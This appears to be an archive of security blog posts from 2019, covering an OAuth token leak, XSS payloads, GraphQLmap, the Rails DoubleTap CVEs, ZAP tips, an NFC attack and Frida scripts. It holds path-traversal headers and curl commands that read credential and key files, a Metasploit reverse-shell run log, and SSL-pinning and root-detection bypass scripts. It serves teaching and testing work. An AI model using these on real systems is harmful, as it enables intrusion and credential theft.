6/28/2019

OAuth 과정에서 발생할 수 있는 재미있는 인증토큰 탈취 취약점(Chained Bugs to Leak Oauth Token) Review

오늘 OAuth 관련 버그바운티 재미있는건을 봐서 포스팅으로 풀어봅니다.
간단히 요약하면 우버와 페북 OAuth 과정 중 문제가 있어서 사용자 인증정보를 공격자에게 탈취할 수 있는 부분이였고 리포팅한 @ngalog 는 $7,500나 받았다고 하죠.

알고보니 우버팀도 이 취약점을 재미있게 보아서 아주 awesome하다고 극찬이였습니다. 그럼 살펴보죠!

Chain Attack! Awesome! / https://i.giphy.com/130lrV79Va3q5W.gif

Published part of the report

https://hackerone.com/reports/202781 에 등록된 이 버그는 아래 플로우로 동작한다고 합니다.

- Prompt OAuth authorization on facebook.com
- Redirect to https://auth.uber.com/login?next_url=https://login.uber.com/logout from Facebook
- Redirect to https://login.uber.com/logout from auth.uber.com
- Redirect to attacker site from Referer header and return the token

직역하면, 페북에서 OAuth Authorization 중 redirect url을 logout의 주소로 바꿔서 공격자의 서버로 인증정보가 전달되게 하는 방식이라고 합니다. 여기서 logout 주소는 접근 시 Referer 헤더의 url로 redirect 해준다고 합니다.

자 여기까지가 공개된 내용입니다.. 정보도 적고 해서 톡으로 이야기하다가 직접 페이지를 찾아보기 시작했습니다.

Guessing the report(뇌 피 셜)

우선 우버 로그인 페이지를 들어가봅시다.



아! 페북 로그인을 지원하는 걸 보니 페이스북 쪽 OAuth 과정에서 발생한 문제인 것 같군요. 로그인하기를 눌러서 트래픽을 쭉 살펴보면 이런 요청이 하나 나옵니다.

https://www.facebook.com/v2.9/dialog/oauth?app_id=277064115737714&channel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D44%23cb%3Df5be1cf~~~&fallback_redirect_url=https://login.uber.com~~~

우버와 페이스북을 연동한 사용자가 로그인했을 때 oauth 요청으로 인증정보를 받아오는데 이 과정에서 redirect url이 지정됩니다. (redirect url이 지정되는건 당연한거고, Oauth쪽 플로우 한번 쭉 보시면 아하 하실겁니다.)

아무튼 이 redirect url 중 특정 값은 Oauth 성공 시 페북쪽 서버가 우버쪽 서버로 인증정보를 찔러줄 때 사용하는 주소일텐데요. 보통 Oauth idp 측(현재 기준 페북)에선 개발자센터 등을 통해서 허용된 URL로만 통신할 수 있게 지정해서 사용합니다.

우버의 경우 https://auth.uber.com/login?* 까지가 지정된 URL이라고 합니다.
이러다보니 사용자가 https://auth.uber.com/login?next_url= 을 통해서 redirect url을 넘겨주는 경우 인증정보가 다른 우버 서버로 넘어가게 되는데 공격자는 여기서 한번 더 머리를 쓴 것 같습니다.

아까 위에서 이야기드렸듯이 https://login.uber.com/logout 주소는 Referer 헤더를 참조해서 Redirect 하다보니 공격자 서버상에서 로그아웃 페이지가 호출되면 공격자 사이트로 Redirect 되게 됩니다. 물론 이 구조도 보편적으로 많이 쓰이는 구조다보니, 이거 자체만으로 문제라고 하기엔 어렵습니다.
아무튼 Oauth 요청은 서버 to 서버로 요청이 발생하는데 결국 공격자 사이트에서 페북 Oauth 주소를 호출했을 때 Oauth 처리 후 redirect url은 logout 페이지를 바라보게 되고, Referer를 참조해서 공격자 사이트로 인증정보를 전송하게 되는 것 같습니다.

그래서 아마 우버에서 이야기한 @ngalog was able to provide us with an awesome single-URL PoC which would: 부분은 공격자 서버에서 로그아웃 페이지를 바라본 페북 Oauth url을 호출하는 코드이지 않을까 싶네요.

(제 생각에는 이런 PoC이지 않을까 싶습니다)
<a href="https://www.facebook.com/v2.9/dialog/oauth/?~~blahblah~~&redirect_url=https://https://auth.uber.com/login?next_url=https://login.uber.com/logout">PoC</a>


아마 맞겠죠?

Conclusion

솔직히 보고 이런 생각을 하다니 신기헀습니다. 이게 분명 많이 나타나는 공격 형태는 아니다 보니 업무적으로나 버그바운티로나 쓸모가 있어 보입니다. Oauth 연동되는 서비스가 있다면 꼭 테스트 해봐야겠네요.
Share: | Coffee Me:

XSS Payload without Anything

What is XSS Payload without Anything?

When I work for a company or bug bounty, the unexpected hurdle is a protection(xss filter) of special char in the JS(Javascript) area. So I am devising a way to easily solve these problems, and one of the processes is this document.

https://github.com/hahwul/XSS-Payload-without-Anything

Let’s collect a lot of thoughts and solve our problems.

Concept

It is similar to “Payload all the things” in terms of collecting the payload, but I want to provide a list of payloads with special tag (without char, used char, other..)
I plan to make it easy to search and to show what characters (or what they are made of) are unusable.

format

without char: () , '
XSS Payload

// usedchar: 
// author: 
// description:

without char (Frequently filtered characters)

I have selected special characters that are often blocked.
( ) 
{ } 
, 
"
'
`
[ ]
\ 
/ 
; 
+ 
. 
=

Usage

on Github.com
1) Ctrl + F >
2) find your problem char
3) XSS

on hahwul.com
comming soon


https://github.com/hahwul/XSS-Payload-without-Anything

Submit XSS Payloads

Add issue form & label

XSS Payload:
WithOut:
Description:

or

Pull Request

or

Tweet with @hahwul

Conclusion

There is likely to be a meaningful result when accumulated. I look forward to your involvement. plz join me!
Share: | Coffee Me:

6/24/2019

GraphQLmap - testing graphql endpoint for pentesting & bugbounty

밤에 트윗보다보니 swissky가 툴 하나를 만들어서 배포했더군요. 심지어 GraphQL 관련 자동화도구라 바로 대충 정리해서 포스팅해봅니다. GraphQLmap 입니다.



아 swissky는 Payload All the Things을 만든.. 대단한 친구죠 :)

What is GraphQL?

GraphQL 은 페북에서 만든 Query Lang입니다. JSON 포맷으로 쿼리 데이터로 웹에 필요한 정보를 불러오는 전형적인 API 형태의 언어입니다.

Query
{
  me {
    name
  }
}

Response
{
  "me": {
    "name": "Luke Skywalker"
  }
}

솔직히 개발적인 부분에서의 이점은 좀 더 유연한 쿼리를 쓸 수 있다(?, 사용자가 그때그떄 입력한 필요한 정보에 따라 결과를 주니..) 정도인 것 같습니다. 물론 제가 개발자가 아니기 때문에 개발자분들의 의견은 다르겠지만요.

아무튼 서버에서 사용자 요청에 대해 처리 후 데이터를 내어주기 떄문에 서버에서 잘 설정한 경우 안전할 수도 있게지만, 해커원 보고서에 잘 올라오는걸 보면 그리 안전하게 사용되는 것 같진 않습니다.
(https://hackerone.com/hacktivity?order_direction=DESC&order_field=popular&filter=type%3Apublic&querystring=graphql)
국내에선 쓰이는 곳을 아직 많이 못보긴 헀는데, 해외 서비스 기준으론 굉장히 많이 쓰이고 있습니다. 해외 버그바운티에 관심 있으시다면 꼭 알아두시는게 좋을 것 같습니다.

자세한건 공식 튜토리얼 쭉 따라해보면 쉽습니다.
https://graphql.org/learn/

What is GraphQLmap?

음. sqlmap의 graphql 버전이라고 보시면 좋습니다. GraphQL에도 잘 나오는 취약점이 하나 있느데, 바로 의도하지 않은 쿼리 데이터로 타 사용자, 시스템 정보 등 중요정보를 획득할 수 있는 부분이 있습니다.
Shopify로 올라왔던 보고서를 하나 보면…
https://hackerone.com/reports/397130

Request
curl -i -s -k  -X $'POST' \
    -H $'Host: athena-flex-production.shopifycloud.com' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/json' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' -H $'Content-Length: 422' \
    --data-binary $'{\"query\": \"query getRecentTicketsQuery($domain: String) {\\n    shop(myshopifyDomain: $domain) {\\n      zendesk {\\n        tickets(last: 5) {\\n          edges {\\n            node {\\n              id\\n               requester {\\n                name\\n              }\\n              subject\\n              description\\n              }\\n          }\\n        }\\n      }\\n    }\\n  }\\n\",\"variables\":{\"domain\":\"ok.myshopify.com\"}}' \
    $'https://athena-flex-pro

Response
R = n.n(O)()({
 apiKey: "5c0246635b3c77189888c0b10d3427ac",
 notifyReleaseStages: ["production"],
 releaseStage: "production" 
}),

이런식으로 getRecentTicketsQuery를 통해 shopify에서 사용하는 Zendesk의 api 키를 읽었습니다.
요런걸 조금 쉽게 찾기 위해서 사용해볼 수 있는 툴입니다.

주요 기능은 이렇습니다

Features :
  • Dump a GraphQL schema
  • Interact with a GraphQL endpoint
  • Execute GraphQL queries
  • Autocomplete queries
  • NoSQL injection inside a GraphQL field
  • SQL injection inside a GraphQL field
  • GraphQL field fuzzing

How to Install & Use ?

$ git clone https://github.com/swisskyrepo/GraphQLmap
python3 graphqlmap.py
   _____                 _      ____  _
  / ____|               | |    / __ \| |
 | |  __ _ __ __ _ _ __ | |__ | |  | | |     _ __ ___   __ _ _ __
 | | |_ | '__/ _` | '_ \| '_ \| |  | | |    | '_ ` _ \ / _` | '_ \
 | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |
  \_____|_|  \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/
                  | |                                       | |
                  |_|                                       |_|
                                         Author:Swissky Version:1.0
usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]]

optional arguments:
  -h, --help      show this help message and exit
  -u URL          URL to query : example.com/graphql?query={}
  -v [VERBOSITY]  Enable verbosity


Test with GraphQLmap

1) Load test url
$ python3 graphqlmap.py -u "http://meetyourdoctor3.challs.malice.fr/graphql?query={}"

2) test query
GraphQLmap > {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine3GRAPHQL_INCREMENT_10@yahoo.com\"} }"){id, lastName, email}}                                                     
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine30@yahoo.com\"} }"){id, lastName, email}}                                                                     
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine31@yahoo.com\"} }"){id, lastName, email}}                                                                     
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine32@yahoo.com\"} }"){id, lastName, email}}                                                                     
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine33@yahoo.com\"} }"){id, lastName, email}}                                                                     
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine34@yahoo.com\"} }"){id, lastName, email}}                                                                     
[+] Query: (222) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine35@yahoo.com\"} }"){id, lastName, email}}                                                                    
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine36@yahoo.com\"} }"){id, lastName, email}}                                                                     
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine37@yahoo.com\"} }"){id, lastName, email}}                                                                     
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine38@yahoo.com\"} }"){id, lastName, email}}                                                                     
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine39@yahoo.com\"} }"){id, lastName, email}}                                                                     
GraphQLmap > {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine35@yahoo.com\"} }"){id, lastName, email}}                                                                        
{                                                                                                                                                                                             
    "data": {                                                                                                                                                                                 
        "doctors": [                                                                                                                                                                          
            {                                                                                                                                                                                 
                "email": "Maxine35@yahoo.com",                                                                                                                                                
                "id": "5d089c51dcab2d0032fdd082",                                                                                                                                             
                "lastName": "Christiansen"                                                                                                                                                    
            }                                                                                                                                                                                 
        ]                                                                                                                                                                                     
    }                                                                                                                                                                                         
}

결과를 보면 각 쿼리를 요청했을 때 Response 길이가 (45) 이런식으로 찍히는데, 이 부분을 보고 정보를 획득했는지 알 수 있습니다. 귀찮은 작업인데, 편리하게 쓰이겠군요!


Share: | Coffee Me:

6/23/2019

Ruby on Rails Double-Tap 취약점(CVE-2019-5418, CVE-2019-5420)

간만에 취약점 리뷰해봅니다. 올 봄에 정리한번하고 최근에 추가로 정리했던거라 머리속에서 날아가기 전에 블로그 글로 남겨보아요.
우선 올 해 3월 정도에 레일즈 관련 취약점이 3개정도 올라왔었습니다. CVE-2019-5418 ~ 5420 이슈인데, 결과적으론 Rails에서 시스템 파일을 읽고, 명령 실행까지 가능한 3가지였습니다.

이 중 5418, 5420을 묶어서 Double-Tap 취약점이라고 말합니다.


Info

Rails(영향받는 버전)
<5.2.2.1, 
<5.1.6.2, 
<5.0.7.2, 
<4.2.11.1
CVE-2019-5418 : Local file disclosure
CVE-2019-5419 : DOS
CVE-2019-5420 : Insecure Deserialization

Precedent learning

레일즈 자체적인 기능들인데, 가볍게 알아두고 갑시다.

[ ActionView ]

레일즈에서 웹 페이지를 표현하는 방법은 여러가지가 있습니다. 일반적인 HTML 포맷, JSON, 파일 등등..
이런 뷰에 대한 처리를 해주는 기능이 ActionView이고, 별도의 설정이 없어도 기본적으로 레일즈 동작에서 사용되는 부분입니다.

[ ActiveStorage ] 

레일즈에서 S3, Azure Storage 등등 클라우드 스토리지 서비스에 파일을 업로드하고 Rails 내 Active Record에 루비 객체로 역직렬화(Deserialization)해서 사용할 수 있습니다. 여기서 파일을 객체화할 수 있다는게 중요하죠.

What is CVE 2019-5218(Local file disclosure)

위 내용중에서 ActionView 에 관련된 취약점입니다. ActiveView 컨르톨러에서 file type을 처리할 때 발생하는 문제입니다. (컨트롤러 중 render file: 로 처리하는 구간)
파일 포맷으로 Response를 생성할 때 Accpet 헤더의 값이 파일 타입을 지정해주기 위해 build_query로 들어가게 되는데 이때 문자열 검증을 정확하게 하지 않아서 특수문자 삽입으로 쿼리 구문을 우회하고 공격자가 의도한 다른 파일을 받아 올 수 있게 됩니다.
간단하게 이야기드렸지만 취약 코드까지 추적해보시면 좀 복잡하긴합니다. (바로 쿼리로 가는게 아니라 여러번 분기가 있어서 조건에 만족해야합니다..)

[ Vulnerability code ]

class VulnerabilityController < ApplicationController
  def download
    render file: "#{Rails.root}/test.txt"
  end
end

[ Attack Reqeust/Response ]

[ Request ]
GET /Vulnerabilities HTTP/1.1
Host: 127.0.0.1
Accept: ../../../../../../../../../../etc/passwd{{

[ Response ]
##
# User Database
#
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false

[ Build Query ]

[ Nomal ]
test.txt{.{en},}{.{application/json},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}
=> test.txt

[ Attack ]
test.txt{.{en},}{.{../../../../../../../../../../etc/passwd{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}
=> /etc/passwd

What is CVE-2019-5420(Insecure Deserialization)

아까 위에서의 ActiveStorage 설명에 잘 보시면 Deserialization 부분이 있다고 했습니다. 파일을 읽어서 객체로 변환하는데 이 과정에서 보안 로직에 대해 우회된 케이스입니다. (정확히 우회라 하기엔 조금 어렵긴하네요)

먼저 알아야할 부분이 있는데 레일즈의 ActiveStorage는 Insecure Deserialization를 막기위해 객체에 대해서 서명하고 검증하는 과정이 있습니다. 보편적인 Deserialization 대응방안인데요, 이 과정을 위해 서버에 암호화된 크리덴셜을 두고 이를 이용하여 객체를 서명하고 Deserialize 하는 형태로 동작합니다.

결국은 서명을 위조할 수 있다면 비정상적인 파일을 Deserialize 시킬 수 있게 되는데요. 여기서 우선 먼저 발생한 문제는 Developements 환경에서의 키 값입니다.
master.key 파일로 크리덴셜을 암호화해서 이를 사용하는데, Developements 환경에서는 프로젝트나 각 레일즈가 설치된 피씨별로 다른 키를 사용하지 않습니다. 결국은 공격자와 피해 서비스들의 개발 환경은 모두 동일한 키를 사용하는게 되기 떄문에 공격자가 쉽게 서명을 위조할 수 있어 Insecure Deserialization이 가능해집니다.



프로덕션의 경우는 모두 다른 키를 쓰기 떄문에 중복 키 이슈로 공격은 불가능합니다. 다만 위에서 이야기드렸던 CVE 2019-5218 취약점을 같이 활용한다면 서버 내 master.key 파일을 읽을 수 있고 이를 통해 공격자가 임의로 만들 파일에 정상적인 서명으로 위조하여 검증 로직을 우회할 수 있게 됩니다. 개발 환경과 동일하게 결과적으론 Insecure Deserialize 됩니다.

Vulnerability Code Developments

# 패치 내용인데, 위에 보면 development의 경우 클래스 이름으로 md5를 만드는걸 알 수 있습니다.
# 당연히 공통으로 쓰이는 코어 클래스이기 때문에 동일한 해시를 가지게 됩니다.

-      if Rails.env.test? || Rails.env.development?
-        secrets.secret_key_base || Digest::MD5.hexdigest(self.class.name)
+      if Rails.env.development? || Rails.env.test?
+        secrets.secret_key_base ||= generate_development_secret

Attack Request/Response Production

[ Get Crentials with CVE 2019-5218 ]
$ curl \
 -H 'Accept: ../../../../../../*/*/root/*/*/root/*/*/root/*/config/credentials.yml.enc{{' \
 target_site & curl \
 -H 'Accept: ../../../../../../*/*/root/*/*/root/*/*/root/*/config/master.key{{' \
 target_site


[ Insecure Object Deserialize with signature forgery ]
[ Attack Request ]
PUT /rails/active_storage/disk/eyJfcm.... { is Bsse64 encoded rce object jso}/filename
Host: 127.0.0.1

[ Response ]
uid=0(root) gid=0(wheel) groups=0(wheel)


최종적인 공격 플로우는 이렇습니다.

1) CVE-2019-5418로 credentials.yml.enc과 master.key 탈취
2) master.key를 이용해서 credentials.yml.enc를 복호화하고 secret_key_base 값을 추출
3) ActiveStorage애서 PUT /rails/active_storage/disk/:encoded_key/*filename 형태로 Deserialize 하여 사용하는데,
   공격자가 키를 알고 있어 해당 과정의 유효성 검사(정상 객체인지)를 통과할 수 있음
4) 악의적인 객체가 Marshal.load()를 통해 Deserialize되면서 코드가 실행됨

Exploit DoubleTap (with Metasploit)

공격코드가 공개되고 바로 Metasploit 모듈로도 공개됬습니다. doubletap 으로 검색하시면 2개 나옵니다.

HAHWUL exploit(multi/http/rails_double_tap) > search doubletap

Matching Modules
================

   #  Name                                        Disclosure Date  Rank       Check  Description
   -  ----                                        ---------------  ----       -----  -----------
   0  auxiliary/gather/rails_doubletap_file_read                   normal     Yes    Ruby On Rails File Content Disclosure ('doubletap')
   1  exploit/multi/http/rails_double_tap         2019-03-13       excellent  Yes    Ruby On Rails DoubleTap Development Mode secret_key_base Vulnerability

rails_double_tap이 위에 file disclosure를 포함하기 떄문에… 아래꺼만 우선 보셔도 될듯합니다.

HAHWUL > use exploit/multi/http/rails_double_tap
HAHWUL exploit(multi/http/rails_double_tap) > show options

Module options (exploit/multi/http/rails_double_tap):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      3000             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The route for the Rails application
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Ruby on Rails 5.2 and prior

특별히 설정히 복잡한건 없습니다.

HAHWUL exploit(multi/http/rails_double_tap) > run
[*] Exploiting target 127.0.0.1

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Attempting to retrieve the application name...
[+] The application name is: blahblah~~
...
[+] Stager ready: ~~~ bytes
...
[+] Sending serialized payload to target ~~~ bytes)
...
[*] Meterpreter session 3 opened (192.168.0.11:4444 -> 192.168.0.15:48712) at 2019-06-23 00:45:19 +0900




References

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/rails_double_tap.rb
https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
https://github.com/mpgn/Rails-doubletap-RCE
https://hackerone.com/reports/473888
Share: | Coffee Me:

6/17/2019

ZAP에서 Request & Response, Requester add-on에서 깔끔하게 보기(Request and Response panel side by side in the same tab)

간단한 트릭이지만 이제서야 알게되어.. 허무한 마음으로 내용 공유드려봅니다.

Problem

ZAP에서 Burp의 Repeater와 비슷한 역할을 하는 도구가 Requester라는 확장기능입니다. (내장 기능도 있지만 여러모로 부족하죠.)

저런 화면으론 분석하기 글렀죠.. 심지어 맨 우측 Response 탭은 원본이라 무쓸모


이 Request를 쓸 때 가장 큰 단점이 Request/Response를 동시에 보는 패널 모드를 적용하면.. 아래와 같이 난잡하게 Request/Response , Response 형태로 탭이 나뉜다는 점입니다. 이는 Requester가 Request 탭에서 구현되어서 발생한 문제인데, 이를 해결하려고 Request , Response 탭을 분리해서 사용하고 단축키로 커버하는 형태로 사용했었습니다.
(관련 글: https://www.hahwul.com/2018/06/zaproxy-shortcut-key-simple-tip-zap.html)

최근에 ZAP이 2.8이 릴리즈 되었는데, 개발 버전부터 가지고 있던 이슈가 하나 해결되지 않았습니다.
https://github.com/zaproxy/zaproxy/issues/5165

단축키 사용에 있어서 아주 치명적인 부분이였느데, 결국은 해결될 기미가 안보이네요…

Change panel mode Request&Response tab

원래 Request and Response panel side by side 를 사용했었는데, 잘 보면 비슷하지만 약간 다른 모드가 있습니다. Request and Response panel side by side in the same tab으로 바로 옆에 있는 메뉴인데 해당 메뉴를 적용하면 Request&Response가 한 탭에 똑같이 보이지만 기존과 다르게 Requester에서도 쪼개지지 않고 2개로 나뉘어 있습니다.

빨간색 네모 부분을 눌러주시면 됩니다.

Request & Respone tab

Requester add-on tab

깔끔하네요!!



Share: | Coffee Me:

6/11/2019

Finding in-page scripts & map files with javascript (very simple..)

별 코드는 아니지만 만들어 놓고 쓰면 편하니..
페이지에 있는 외부 스크립트 링크와 map 파일 링크 볼 수 있습니다. (map은 그냥 무조건 나타나게..)

function scripts() {
    var scripts = document.scripts
    Object.values(scripts).forEach(function (node) {
        if (node.src.length > 0) {
            console.log(node.src)
        }
    })
}


function scripts_findmap(){
    var scripts = document.scripts
    Object.values(scripts).forEach(function (node) {
        if (node.src.length > 0) {
            console.log(node.src + ".map")
        }
    })
}



다듬어서 부엉JS에 반영해야지 :)
Share: | Coffee Me:

6/09/2019

Tap n Ghost Attack(탭 앤 고스트) - 새로운 물리적(?) 해킹 공격 벡터

지난주인가 지지난주인가 이 내용을 보고 아주아주아주아주 대충 초안을 써놨었는데, 이제서야 글로 포스팅하네요. 오늘은 물리적인 해킹 기법의 새로운 공격 벡터인 탭 앤 고스트(Tap n Ghost) 공격에 대해 알아볼까 합니다.

그럼 시작하죠.

What is Tap n Ghost?

NFC(Near Field Communication) 가 활성화된 모바일 기기를 대상으로 한 새로운 공격 벡터입니다. 한마디로 요약하면 이런 공격입니다.

“NFC와 Ghost Touch(RX electrodes 조작)를 이용하여 의도하지 않은 액션을 수행”


그럼 어떻게 이 공격이 성립되는지 알아볼까요?

Step1 - NFC

우선 NFC에 대해 잠깐 알아봐야합니다. 보통 카드 결제에서 많이 쓰이는 무선 통신 기술로 아주 근거리에서 동작합니다. 대다수의 모바일 기기에는 거의 기본으로 내장되어 있고, 이를 통해 교통카드, 결제 등등 여러가지 기능들을 사용할 수 있죠.



NFC를 써보셨으면 아시겠지만 단순하게 NFC 지원 기기가 휴대폰 근처에만 가도 연결을 요청하게 됩니다.
제가 테스트는 카드로 했지만 이게 일반적인 기기인 경우에는 연결 요청을 하게됩니다.

이 떄 사용자는 Yes/No로 해당 기기와 연결할지 선택할 수 있습니다. 실제로 공격에선 리스크 높은 기능(네트워크 연결 등)에 연결하도록 하게 합니다.

Step2 - RX electrodes

사실 개인적으로 생각하기엔 이게 진짜 중요한 부분인 것 같습니다. 우선 위에서 이야기헀던 고스트 터치에 대한 이야기고, QA 직군에서 테스트할 때도 많이 나오는 거라고만 알고있습니다. 이름 그대로 사용자가 의도하지 않은 터치가 일어나는 버그인데, 정전직 터치 방식에선 신호를 발생시켜서 이 고스트 터치를 유도할 수 있습니다.

https://www.youtube.com/playlist?list=PLTX9Xj0jB1tXq4YMgyLFnpwi8n9vqdVmq

간단하게 예를들면, 우리의 손이 아닌 다른 물건들(바나나, 비닐)로도 간혹 터치가 되는 경우들이 있는데, 신호기를 통해서 공격자가 의도한 터치를 발생시킵니다. 이를 통해서 사용자 폰에서의 여러 액션들을 수행하죠.

솔직히 제가 전자과도 아니고 이런 지식이 있는게 아니라서 정확하겐 이야기드리긴 어렵겠으나, NFC쪽에서 이야기한 중요 기능에서의 팝업 등이 있을때 터치 이벤트를 분산시켜서 사용자가 취소를 눌러도 실제 연결이 터치되도록 유도하는 방식이라고 합니다.

자세한건 구글링해보시면 좀 더 나올 것 같습니다.

Step3 - Malicious connection(e.g Conect bluetooth mouse)

PoC에선 블루투스 마우스를 연결하는 것으로 진행했습니다. Step 1,2 과정을 거쳐서 블루투스 마우스를 연결하게 유도하고 연결이 되면 지정된 좌표로 움직여서 플레이스토어 접근 및 앱 다운로드로 해당 내용을 증명헀습니다.

https://www.youtube.com/playlist?list=PLTX9Xj0jB1tXq4YMgyLFnpwi8n9vqdVmq


이외에도 네트워크 커넥션이면 MITM도 가능할테고(약간 포이즌탭이랑 비슷한 느낌날지도요) 방식에 따라선 카드 크리덴션 탈취 등에도 사용될법하네요..

악용?

PoC에선 악의적인 테이블(식탁?)을 만들어서 테스트했습니다. 아마 공공장소의 테이블 같은곳에 미리 설치해두고 해당 테이블에 폰을 올려놓는 사람을 대상으로 공격이 가능할 것 같습니다. 또한 폰을 직접 가져다달 수 있는 경우가 많은 결제 부분이나 충전, 사람이 붐비는 구간에서도 가능할법한 공격이네요.

추가적인 내용

유투브 영상에 잘 나와있습니다. 참고해주세요~

https://www.youtube.com/playlist?list=PLTX9Xj0jB1tXq4YMgyLFnpwi8n9vqdVmq


Share: | Coffee Me:

6/08/2019

OWASP ZAP 2.8 Releases! 빠르게 리뷰하기(what's different?)

드디어, 정말 드디어 ZAP 2.8이 릴리즈 되었습니다.



어제 새벽에 simon이 2.8 릴리즈 프로세스를 시작했다고 했고, 테스트만 마치면 바로 릴리즈 된다고 했었는데요, 그러고 한 6시간 뒤 공식적으로 2.8이 스탠다드 버전이 되었습니다.

진짜 한참을 기다렸었네요.

이젠 스탠다드 버전에서 HUD 기능을 비롯해 여러가지 추가된 기능을 사용해 볼 수 있을 것 같네요.
그럼 이번 2.8 버전에서 추가된 기능들에 대해 정리해 봅시다.

HUD(Head up display)

가장 첫번째는 HUD입니다. ZAP이 추구하는 인터페이스로 기존에 툴에서 분석하는것보다 나아가서 웹 브라우저에서 ZAP을 컨트롤하고 사용할 수 있도록 해줍니다. 자헤한 내용은 아래 링크에서 참고해주세요.

(HUD Review: https://www.hahwul.com/2018/12/owasp-zap-hud-zaproxy-new-interface.html)


Quick Start Screens

메인 메뉴에서 약간 변경이 있었습니다. 기존에 퀵 스캔은 유지하고 내장 브라우저를 여는 부분이 HUD를 포함한 기능으로 대체되었습니다.

Automated Scan: allows you to launch an automated scan against an application and the choice of traditional and/or ajax spider

Manual Explore: allows you to launch browsers configured to proxy via ZAP with the option to enable the HUD



Add scan rule

스캔 룰 조금 추가됬습니다. 이건 상시 업데이트이기도 하니 뭐 크게 중요한건 아닙니다.

Active Scan Rules - Release
- Promote Source Code Disclosure WEB-INF (Issue 4448).

Passive Scan Rules - Release
- Promote Charset Mismatch Scanner to release (Issue 4460).
- Promote ViewState Scanner to release (Issue 4453).
- Promote Insecure JSF ViewState Scanner to release (Issue 4455).
- Promote Insecure Authentication Scanner to release (Issue 4456).
- Promote Information Disclosure Debug Errors Scanner to release (Issue 4457).
- Promote CSRF Countermeasures Scanner to release (Issue 4458).
- Promote Cookie Loosely Scoped Scanner to release (Issue 4459).

Headless 브라우저 지원

이제 공식적으로 ZAP에서 헤드리스 브라우저를 별도로 지원합니다. 원래 스캐닝 기능쪽에 내장되어서만 사용되었는데, 내장 브라우저쪽으로 헤드리스가 추가되는 것 같네요.

Etc…

이외에도 자잘한 기능 및 코드 리팩토링 등등 여러가지 변경사항이 있습니다. 엄청나게 많았던 버그들도 다 처리한 것 같구요.
자세한 내용은 릴리즈노트 보시면 좋습니다.
https://github.com/zaproxy/zap-core-help/wiki/HelpReleases2_8_0

How to update?

ZAP은 자체적으로 업데이트 기능을 내장하고 있습니다. ZAP 키시면 아래와 같이 바로 업데이트 관련 내용이 나타나고 해당 부분을 통해 업데이트 가능합니다.



아니면.. 새로운 스탠다드 버전을 아래 링크에서 직접 받아주셔도 됩니다. Weekly나 개발버전으로 사용하시던 분들은 브랜치도 싹 조정하셔야할 것 같네요.

https://github.com/zaproxy/zaproxy/wiki/Downloads



Share: | Coffee Me:

6/03/2019

Frequently used frida scripts and others..

I've posted some frequently used Freda scripts. Honestly, I like cordshares, but sometimes I need them(raw script, link, etc...).

General Information

Docs

https://www.frida.re/docs/home/

Download

https://github.com/frida/frida/tags

Tool

https://github.com/nccgroup/house
https://github.com/federicodotta/Brida

Awesome

https://github.com/dweinstein/awesome-frida

Frida code share

https://codeshare.frida.re/browse

Android scripts & codeshare

Bypass root(codeshare)

frida --codeshare dzonerzy/fridantiroot -f

Bypass disabled Debug 

setTimeout(function() {
    Java.perform(function() {
        console.log("");
        console.log("[.] Debug check bypass");


        var Debug = Java.use('android.os.Debug');
        Debug.isDebuggerConnected.implementation = function() {
            //console.log('isDebuggerConnected Bypassed !');
            return false;
        }




    });
}, 0);

Bypass SSL Pinning

Java.perform(function() {
    var array_list = Java.use("java.util.ArrayList");
    var ApiClient = Java.use('com.android.org.conscrypt.TrustManagerImpl');
    ApiClient.checkTrustedRecursive.implementation = function(a1, a2, a3, a4, a5, a6) {
        // console.log('Bypassing SSL Pinning');
        var k = array_list.$new();
        return k;
    }
}, 0);

Bypass SSL Pinning(codeshare)

frida --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida -f

iOS

Bypass SSL Pinnging & Jail

var tls_helper_create_peer_trust; 
var version = ObjC.classes.UIDevice.currentDevice().systemVersion().toString(); 

